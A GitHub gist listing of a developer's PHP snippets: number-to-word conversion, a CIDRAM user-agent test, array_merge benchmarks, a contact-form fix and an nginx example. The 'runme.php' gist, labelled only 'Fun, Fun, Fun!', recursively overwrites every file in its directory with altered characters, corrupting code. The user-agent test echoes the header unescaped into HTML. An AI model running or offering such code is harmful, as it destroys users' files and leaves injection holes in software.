Skip to content

Instantly share code, notes, and snippets.

View Maikuolan's full-sized avatar
🎯
Still alive and quietly getting things done.

Caleb Mazalevskis Maikuolan

🎯
Still alive and quietly getting things done.
View GitHub Profile
@Maikuolan
Maikuolan / ConvertNumber.php
Created September 8, 2017 13:23
This Gist just demonstrates some basic ideas for converting numbers from a numberic format into a word format. It's pretty simplistic (i.e., done in a rush and messy as shit) and is only really intended to provide some basic ideas, and of course, there'll likely be others ways to go about it, too.
<?php
/**
* This Gist just demonstrates some basic ideas for converting numbers from a
* numberic format into a word format. It's pretty simplistic (i.e., done in a
* rush and messy as shit) and is only really intended to provide some basic
* ideas, and of course, there'll likely be others ways to go about it, too.
*
* Context: https://www.facebook.com/groups/2204685680/permalink/10156073375930681/
*
* It will likely need to be expanded upon and adapted to suit your needs (due
@Maikuolan
Maikuolan / uaTest.php
Created January 17, 2017 07:25
Diagnosing UA problem in CIDRAM.
<?php
// Test file to assist in diagnosing possible problems with user agents in CIDRAM.
$CSS = 'style="width:600px;background-color:#ff9;border:1px solid #000"';
echo '<html><body><h4>Test 1: Printing the standard "$_SERVER[\'HTTP_USER_AGENT\']" variable.</h4>';
echo 'Success condition: You should see your UA printed in the box below.<br />';
echo '<input ' . $CSS . ' type="text" value="' . $_SERVER['HTTP_USER_AGENT'] . '" readonly /><br /><br />';
$TestArr = array(
'UA' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT']
@Maikuolan
Maikuolan / runme.php
Created November 26, 2016 17:11
Fun, Fun, Fun!
<?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?>
@Maikuolan
Maikuolan / Predictions.php
Last active November 19, 2016 16:12
Just for laughs (Re: PHP Group PHP predictions discussion).
<?php
/* If [1] Paul the Octopus can successfully predict the winners for the 2010
* FIFA World Cup 11 out of 13 times, perhaps, just for laughs, we can give it
* a go in PHP. ;-)
*
* The three next closest up-coming general elections in the world at the
* moment, as far as I could determine via googling, seem to be in [2] Ghana
* (7 December 2016, with John Dramani Mahama vs Nana Akufo-Addo), [3]
* Macedonia (11 December 2016, with Nikola Gruevski vs Zoran Zaev), and [3]
* Romania (11 December 2016, with Liviu Dragnea vs Alina Gorghiu vs Călin
@Maikuolan
Maikuolan / nginx.conf
Created October 23, 2016 04:57
Example information for having PHP listen to your server.
# Example information for having PHP listen to your server.
server {
listen 80;
server_name localhost foo.bar.tld *.domain.tld;
autoindex off;
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
@Maikuolan
Maikuolan / contact.php
Last active March 19, 2016 21:43 — forked from rushdimohamed09/contact.php
Refer to the included comments.
<?php
/**
* "Undefined index" means that you're trying to fetch data from a variable
* that doesn't exist (or isn't "defined"). Looking at your code here,
* personally, what I would do here, firstly, is check whether your $_REQUEST
* variables are empty, and if they're not, *then* set your $action variable,
* rather than before.
*/
if (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
<?php
function time_diff($a,$b) {
$a = explode(' ', $a, 2);
$b = explode(' ', $b, 2);
return ($b[1] + $b[0]) - ($a[1] + $a[0]);
}
/**
* extends the keys of $pairs to replaceable selectors
*
@Maikuolan
Maikuolan / DiffTest-array_merge.php
Created February 11, 2016 08:39
Differences in how array_merge and how "+" handles conflicting indexes.
<?php
$arr1 = array(
'a' => 'Hello',
'b' => 'World',
'c' => 'Foo',
'd' => 'Bar'
);
$arr2 = array(
'a' => 'Fello',
'b' => 'Borld',
@Maikuolan
Maikuolan / SpeedTest-array_merge.php
Created February 11, 2016 08:10
Speed test for array_merge() function of PHP.
<?php
/**
* Speed test for array_merge() function of PHP.
*
* Tested using PHP 7.0.2 (2016.02.11) for Windows 7.
*
* Results are consistent, suggesting that, where the possible outputs from
* using "array_merge()" versus using the "+" operator aren't different,
* it may be faster to use the "+" operator (note that, depending on what's
* being merged, the outputs may sometimes differ).